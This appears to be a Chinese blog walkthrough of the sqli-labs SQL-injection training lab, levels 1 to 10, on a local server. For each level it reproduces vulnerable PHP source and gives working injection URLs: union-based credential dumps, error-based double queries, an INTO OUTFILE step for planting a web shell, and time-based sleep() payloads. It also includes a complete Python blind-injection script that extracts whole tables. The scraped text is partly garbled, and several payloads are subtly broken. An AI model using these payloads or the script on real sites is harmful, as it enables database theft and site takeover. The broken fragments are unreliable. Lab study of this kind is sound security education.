点击打开链接
http://blog.csdn.net/u012763794/article/details/51207833
http://blog.csdn.net/u012763794/article/details/51361152
http://blog.csdn.net/u012763794/article/details/51457142
Less-1 基于错误的 - get 单引号 - 字符型注入
①先打开网页查看 Welcome Dhakkan
②查看源代码 index.php :
- "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- "http://www.w3.org/1999/xhtml">
-
- "Content-Type" content="text/html; charset=utf-8" />
- Less-1 **Error Based- String**
-
-
- "#000000">
" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome "#FF0000"> Dhakkan
- "3" color="#FFFF00">
-
-
-
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
-
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
-
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
-
-
-
-
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
-
- if($row)
- {
- echo "";
- echo 'Your Login name:'. $row['username'];
- echo "
";
- echo 'Your Password:' .$row['password'];
- echo "";
- }
- else
- {
- echo '';
- print_r(mysql_error());
- echo "";
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
-
- ?>
-
- "../images/Less-1.jpg" />
-
-
③可以看到页面中显示:
- Please input the ID as parameter with numeric value
按它说的做,那我们就在URL后面输入:
- http://localhost/sqli-labs-master/Less-1/?id=1
看来我们得到了 登录名:Dumb,以及密码:Dumb,那么为什么会显示出来呢?我们来看下index.php中的代码:
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- .....
- .....
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
- if($row)
- {
- echo "";
- echo 'Your Login name:'. $row['username'];
- echo "
";
- echo 'Your Password:' .$row['password'];
- echo "";
- }
- else
- {
- echo '';
- print_r(mysql_error());
- echo "";
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
-
- ?>
这样一来就明白了为什么会有这样的结果,当然如果你输入不同的id值就会返回不同的结果,实际查询的语句是:
- SELECT * FROM users WHERE id='1' LIMIT 0,1;
注意:这里的$id是被单引号包起来的,我可以可以通过 ' 来验证,输入URL:
- http://localhost/sqli-labs-master/Less-1/?id=1'
以下还有两个注入可以成功执行:
- http://localhost/sqli-labs-master/Less-1/?id=1' or'1'='1
- http://localhost/sqli-labs-master/Less-1/?id=1' or 1=1 --+
对应的mysql执行语句:
- SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1
- SELECT * FROM users WHERE id='' or 1=1 --+' LIMIT 0,1
接下来我们利用 order by 来判断users表中有几列,输入如下:
- http://localhost/sqli-labs-master/Less-1/?id=1' order by 1 %23
注意:%23 是指 # 的编码
提示的信息可以使我们确定没有第4列,接下来使用联合语句 union 来查询,输入:
- http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 %23
注意:细心的朋友可能发现我把1改成-1,原因是当用id=1的时候执行的结果只有一条记录,这是因为在 index.php 中并没有循环取出数据。
解决方法是:让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行。
可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息,需要用到的函数有:
concat_ws():从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符
char():将十进制ASCII码转化成字符
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
构建如下Sql语句:
- http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23
注意:这里的32表示 [空格],58表示 [:] ,执行
知道数据库名了,接下来就是拆解表了。
首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
注意,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义。
security的十六进制转换是:0x7365637572697479
16进制转换地址:http://www.bejson.com/convert/ox2str/
那么,接下来。构建 Sql 语句:
- http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23
只返回一个table,原因很简单,还是循环问题。那么我们可以使用limit来依次列举:
- http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 %23
\
不断的改变,limit的第一个参数,就可以一次列举出来,不过太麻烦了,我们直接使用 group_concat函数,该函数返回一个字符串结果,该结果由分组中的值连接组合而成,那么构建 sql 语句:
- http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+
Less-2 基于错误的 - get - 数字型
①
先打开网页查看 Welcome Dhakkan
②查看源代码 index.php :
- "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- "http://www.w3.org/1999/xhtml">
-
- "Content-Type" content="text/html; charset=utf-8" />
- Less-2 **Error Based- Intiger**
-
-
- "#000000">
-
-
-
-
" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome "#FF0000"> Dhakkan
- "3" color="#FFFF00">
-
-
-
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
-
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
-
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
-
-
-
- $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
-
- if($row)
- {
- echo "";
- echo 'Your Login name:'. $row['username'];
- echo "
";
- echo 'Your Password:' .$row['password'];
- echo "";
- }
- else
- {
- echo '';
- print_r(mysql_error());
- echo "";
- }
- }
- else
- {
- echo "Please input the ID as parameter with numeric value";
- }
-
- ?>
-
-
-
- "../images/Less-2.jpg" />
-
-
③可以看到页面中显示:
- Please input the ID as parameter with numeric value
按它说的做,那我们就在URL后面输入:
这样我们就得到了用户名和密码,在 index.php 中唯一的区别就是 $id 没有用单引号包住了,这是因为sql对于数字型的数据可以不加单引号。当然这也使得注入更加容易了,没什么好说的,构建sql语句:
- http://localhost/sqli-labs-master/Less-1/?id=-1 union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+
Less-3基于错误的 - GET单引号变形字符型注入
①
先打开网页查看 Welcome Dhakkan
②查看源代码:
- "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- "http://www.w3.org/1999/xhtml">
-
- "Content-Type" content="text/html; charset=utf-8" />
- Less-3 Error Based- String (with Twist)
-
-
-
- "#000000">
-
" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome "#FF0000"> Dhakkan
- "3" color="#FFFF00">
-
-
-
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
-
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
-
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
-
-
-
-
- $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
-
- if($row)
- {
- echo "";
- echo 'Your Login name:'. $row['username'];
- echo "
";
- echo 'Your Password:' .$row['password'];
- echo "";
- }
- else
- {
- echo '';
- print_r(mysql_error());
- echo "";
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
-
- ?>
-
-
-
- "../images/Less-3.jpg" />
-
-
③可以看到页面中显示:
- Please input the ID as parameter with numeric value
一样的画面,可以发现在 index.php 中的 $id 改成了 ('$id') 了,当然,也很容易验证:
首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1,')是多出来的,因此可以确认这是单引号注入的变形。输入如下sql语句:
- http://localhost/sqli-labs-master/Less-3/?id=1')--+
正常显示了吧,基本上就没什么区别了,构建的sql语句如下:
- http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+
Less-4基于错误的GET双引号字符型注入
①
先打开网页查看 Welcome Dhakkan
②查看源代码:
- "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- "http://www.w3.org/1999/xhtml">
-
- "Content-Type" content="text/html; charset=utf-8" />
- Less-4 Error Based- DoubleQuotes String
-
-
- "#000000">
" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome "#FF0000"> Dhakkan
- "3" color="#FFFF00">
-
-
-
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
-
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
-
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
-
-
-
- $id = '"' . $id . '"';
- $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
-
- if($row)
- {
- echo "";
- echo 'Your Login name:'. $row['username'];
- echo "
";
- echo 'Your Password:' .$row['password'];
- echo "";
- }
- else
- {
- echo '';
- print_r(mysql_error());
- echo "";
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
-
- ?>
-
-
- "../images/Less-4.jpg" />
-
-
③可以看到页面中显示:
- Please input the ID as parameter with numeric value
按它说的做,那我们就在URL后面输入:
在URL后面加上单引号,发现没有报错,这是为什么呢? 因为php中的双引号可以包含单引号 (" $id' ")
解决方法也很简单,直接加上双引号:
将 near 和 at 之间的单引号去点得到,''1''),很显然使用 (" $id' ")这种形式,解决方法也很简单,构建的sql语句:
- http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(char(32),username,char(23)),group_concat(char(32),password,char(32)) from users--+
Less-5双注入GET单引号字符型注入
①
先打开网页查看 Welcome Dhakkan
②查看源代码:
"-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- "http://www.w3.org/1999/xhtml">
-
- "Content-Type" content="text/html; charset=utf-8" />
- Less-5 Double Query- Single Quotes- String
"#000000"
>
" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome "#FF0000"> Dhakkan
- "3" color="#FFFF00">
-
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
-
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
-
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
if($row)
- {
- echo '';
- echo 'You are in...........';
- echo "
";
- echo "";
- }
- else
- {
-
- echo '';
- print_r(mysql_error());
- echo "";
- echo '';
-
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
?>
- "../images/Less-5.jpg" />
-
-
③可以看到页面中显示:
- Please input the ID as parameter with numeric value
提示:You are in.......,没有像之前那样正常输出用户名和密码,怎么回事呢?看下 index.php 中的代码:
- if($row)
- {
- echo '';
- echo 'You are in...........';
- echo "
";
- echo "";
- }
怪不得没有,因为根本就没有输出 $row 这个查询结果,由于是双注入,百度了一下,总结如下:
双查询注入顾名思义形式上是两个嵌套的查询,即select ...(select ...),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组
如果还是不懂可以看此链接:
http://www.2cto.com/article/201303/192718.html
双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。 那么开始构建sql语句:
- http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+
获取到数据库名后再用同样的方法获取表名:
- http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2))as a from information_schema.tables group by a--+
接下里查询用户信息,构建语句如下:
- http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+
通过改变 limit 的值就可以遍历用户信息了。
Less-6双注入GET双引号字符型注入
①
先打开网页查看 Welcome Dhakkan
②查看源代码:
- "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- "http://www.w3.org/1999/xhtml">
-
- "Content-Type" content="text/html; charset=utf-8" />
- Less-6 Double Query- Double Quotes- String
-
-
- "#000000">
" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome "#FF0000"> Dhakkan
- "3" color="#FFFF00">
-
-
-
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
-
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
-
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
-
-
-
- $id = '"'.$id.'"';
- $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
-
- if($row)
- {
- echo '';
- echo 'You are in...........';
- echo "
";
- echo "";
- }
- else
- {
-
- echo '';
- print_r(mysql_error());
- echo "";
- echo '';
-
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
-
- ?>
-
- "../images/Less-6.jpg" />
-
-
③可以看到页面中显示:
- Please input the ID as parameter with numeric value
还是没输出什么有价值的信息,试一试让它报错:
看来是双引号注入了,类似上面的,构建语句:
- http://localhost/sqli-labs-master/Less-6/?id=-1" union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 0,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+
Less-7
导出文件GET字符型注
①
先打开网页查看 Welcome Dhakkan
-
-
-
-
- Less-7 Dump into Outfile
-
-
-
-
-
Welcome Dhakkan
-
-
-
- //including the Mysql connect parameters.
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
- // take the variables
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
- //logging the connection parameters to a file for analysis.
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
-
- // connectivity
-
-
- $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
-
- if($row)
- {
- echo '';
- echo 'You are in.... Use outfile......';
- echo "
";
- echo "";
- }
- else
- {
- echo '';
- echo 'You have an error in your SQL syntax';
- //print_r(mysql_error());
- echo "";
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
-
- ?>
-
-
-
-
③可以看到页面中显示:
- Please input the ID as parameter with numeric value
按它说的做,那我们就在URL后面输入:
弹出 Use outfile,
尝试之前的方法行不通了,他把报错做了处理统一返回“You have an error in your SQL syntax”,明显的,他也给出了提示use outfile,outfile的固定结构是:select A into outfile B,这里的B通常是一个文件路径,A可以是文本内容(小马),也可以是数据库信息,于是这里就有三种思路:
第一种,构造select * from users into outfile "数据库导入导出数据的目录",先来判断一下我们是否是最高权限
显示正常,说明的确是最高权限。
提示语法错误,并且在C盘也没有找到数据文件,百度了一下,原因如下:
Mysql数据库需要在指定的目录下进行数据的导出,
secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT ... INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。
如果这个参数为空,这个变量没有效果;
如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;
如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。
如果有出现
secure_file_priv
路径有问题的,可以参考:
http://blog.csdn.net/man_to_home/article/details/54947518
虽然提示语法错误,不过c盘上已经有了data.txt这个文件了:
第二种,将一句话木马写入到文件,用菜刀拿下网站:
首先介绍两个可以说是函数,还是变量的东西
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
构建如下语句:
- http://localhost/sqli-labs-master/Less-3/?id=1')) union select 1,@@basedir,@@datadir--+
得到如下路径:
最后构建如下语句:
- http://localhost/sqli-labs-master/Less-7/?id=-1')) union select 1,'2','' into outfile 'C:/AppServ/www/data.txt' %23
然后菜刀连接,这里不演示了,不会的话可以百度一下。
Less-8
布尔型单引号GET盲注
①
先打开网页查看 Welcome Dhakkan
②查看源代码:
-
-
-
-
- Less-8 Blind- Boolian- Single Quotes- String
-
-
-
Welcome Dhakkan
-
-
-
- //including the Mysql connect parameters.
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
- // take the variables
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
- //logging the connection parameters to a file for analysis.
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
-
- // connectivity
-
-
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
-
- if($row)
- {
- echo '';
- echo 'You are in...........';
- echo "
";
- echo "";
- }
- else
- {
-
- echo '';
- //echo 'You are in...........';
- //print_r(mysql_error());
- //echo "You have an error in your SQL syntax";
- echo "";
- echo '';
-
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
-
- ?>
-
-
-
-
-
③可以看到页面中显示:
- Please input the ID as parameter with numeric value
正常输入返回“You are in......”,尝试单引号却什么都没返回,看了下源码就是这样处理的,点题盲注,
盲注主要分为bool型和时间性,通常涉及到这几个函数:
length(str):返回字符串str的长度
substr(str,pos,len):将str从pos位置开始截取len长度的字符返回,需要注意的是这里pos的是从1开始的
mid(str,pos,len):和substr()类似
ascii(str):返回字符串str最左边的acsii码(即首字母的acsii码)
ord():同上,返回acsii码
left(str,len):对字符串str左截取len长度
right(str,len):对字符串str右截取len长度
if(a,b,c):条件判断,如果a为true,返回b,否则返回c
盲注有个固定式:and ascii(substr(A,1,1))>B,或者and if(
ascii(substr(A,1,1))>B
,1,0),这里的A通常是一个select语句,B则是字符或数字的ascii码,
他们的中心思想都是通过substr等截取函数以二分法的形式
查询
逐个匹配想要的信息,这个过程通常都很耗时,所以建议直接写个盲注脚本来跑
下面是盲注匹配的一个例子,我们来匹配数据库名,在之前的实验中已知数据库名是security,下面的sql语句是用来匹配数据库名的第一个字母
字母s的ascii码是115,所以他大于114,结果为true,页面显示正常,依次类推即可
当然也可以用脚本来跑,从别人那挖来的:
-
-
-
-
-
-
-
-
-
- import urllib2
- import urllib
-
-
- success_str = "You are in"
- getTable = "users"
-
- index = "0"
- url = "http://localhost/sqli-labs/Less-8/?id=1"
- database = "database()"
- selectDB = "select database()"
- selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
-
-
- asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
- lengthPayload = "' and length(%s)>=%d #"
- selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
-
- selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
- selectTableNameLengthPayloadbehind = ",1)>=%d #"
-
-
-
-
- def getLengthResult(payload, string, length):
- finalUrl = url + urllib.quote(payload % (string, length))
- res = urllib2.urlopen(finalUrl)
- if success_str in res.read():
- return True
- else:
- return False
-
-
-
- def getResult(payload, string, pos, ascii):
- finalUrl = url + urllib.quote(payload % (string, pos, ascii))
- res = urllib2.urlopen(finalUrl)
- if success_str in res.read():
- return True
- else:
- return False
-
-
- def inject():
-
- lengthOfDBName = getLengthOfString(lengthPayload, database)
- print "length of DBname: " + str(lengthOfDBName)
-
- DBname = getName(asciiPayload, selectDB, lengthOfDBName)
-
- print "current database:" + DBname
-
-
-
- tableCount = getLengthOfString(selectTableCountPayload, DBname)
- print "count of talbe:" + str(tableCount)
-
-
- for i in xrange(0,tableCount):
-
- num = str(i)
-
- selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
- tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
- print "current table length:" + str(tableNameLength)
-
- selectTableName = selectTable%(DBname, i)
- tableName = getName(asciiPayload, selectTableName ,tableNameLength)
- print tableName
-
-
- selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
-
-
- columnCount = getLengthOfString(selectColumnCountPayload, getTable)
- print "table:" + getTable + " --count of column:" + str(columnCount)
-
-
- dataCountPayload = "'and (select count(*) from %s)>=%d #"
- dataCount = getLengthOfString(dataCountPayload, getTable)
- print "table:" + getTable + " --count of data: " + str(dataCount)
-
- data = []
-
- for i in xrange(0,columnCount):
-
- selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
-
- columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
- print "current column length:" + str(columnNameLength)
-
- selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
- selectColumnName = selectColumn%(getTable, i)
-
- columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
- print columnName
-
- tmpData = []
- tmpData.append(columnName)
-
- for j in xrange(0,dataCount):
- columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
-
- columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
-
- selectData = "select " + columnName + " from users limit " + str(j) + ",1"
- columnData = getName(asciiPayload, selectData, columnDataLength)
-
- tmpData.append(columnData)
-
- data.append(tmpData)
-
-
-
-
- tmp = ""
- for i in xrange(0,len(data)):
- tmp += data[i][0] + " "
- print tmp
-
- for j in xrange(1,dataCount+1):
- tmp = ""
- for i in xrange(0,len(data)):
- tmp += data[i][j] + " "
- print tmp
-
-
- def getLengthOfString(payload, string):
-
- lengthLeft = 0
- lengthRigth = 0
- guess = 10
-
- while 1:
-
- if getLengthResult(payload, string, guess) == True:
-
- guess = guess + 5
- else:
- lengthRigth = guess
- break
-
-
- mid = (lengthLeft + lengthRigth) / 2
- while lengthLeft < lengthRigth - 1:
-
- if getLengthResult(payload, string, mid) == True:
-
- lengthLeft = mid
- else:
-
-
- lengthRigth = mid
-
- mid = (lengthLeft + lengthRigth) / 2
-
-
-
-
-
- return lengthLeft
-
-
- def getName(payload, string, lengthOfString):
-
- tmp = ''
- for i in xrange(1,lengthOfString+1):
- left = 32
- right = 127
- mid = (left + right) / 2
- while left < right - 1:
-
- if getResult(payload, string, i, mid) == True:
-
- left = mid
- mid = (left + right) / 2
- else:
-
-
- right = mid
-
- mid = (left + right) / 2
- tmp += chr(left)
-
- return tmp
-
-
- def main():
- inject()
- main()
Less-9基于时间的GET单引号盲注
①
先打开网页查看 Welcome Dhakkan
②查看源代码:
- "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- "http://www.w3.org/1999/xhtml">
-
- "Content-Type" content="text/html; charset=utf-8" />
- Less-9 Blind- Time based- Single Quotes- String
-
-
- "#000000">
" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome "#FF0000"> Dhakkan
- "3" color="#FFFF00">
-
-
-
- include("../sql-connections/sql-connect.php");
- error_reporting(0);
-
-
- if(isset($_GET['id']))
- {
- $id=$_GET['id'];
-
- $fp=fopen('result.txt','a');
- fwrite($fp,'ID:'.$id."\n");
- fclose($fp);
-
-
-
-
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
-
- if($row)
- {
- echo '';
- echo 'You are in...........';
- echo "
";
- echo "";
- }
- else
- {
-
- echo '';
- echo 'You are in...........';
-
-
- echo "";
- echo '';
-
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
-
- ?>
-
- "../images/Less-9.jpg" />
-
-
③可以看到页面中显示:
- Please input the ID as parameter with numeric value
时间型盲注和bool型盲注应用场景不同之处在报错的返回上,从less-8我们知道,输入合法时他会返回正常页面“You are in......”,而非法输入时他没有返回任何东西,于是,我们可以根据这个特点跑盲注,通过他不同的返回页面来判断我们匹配的字符是否正确,而在less-9中合法输入与非合法输入它都返回一个页面,就是You are in.....
这样,我们就不能根据他页面的返回内容来判断匹配结果了,因此我们需要用延时函数sleep()对两种输入进行区分,可以构造如下语句:
- http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115,0,sleep(5))%23
这里的意思是,如果数据库名首字母的ascii码大于115,那么执行sleep(5),延时5秒,此时标签栏会变成缓冲,于是,我们就可以判断匹配的结果了,盲注脚本与less-8类似,只需要加入sleep函数即可。
Less-10
基于时间的双引号盲注
把上面的改成单引号就行:
- http://localhost/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(database(),1,1))>115,0,sleep(5))%23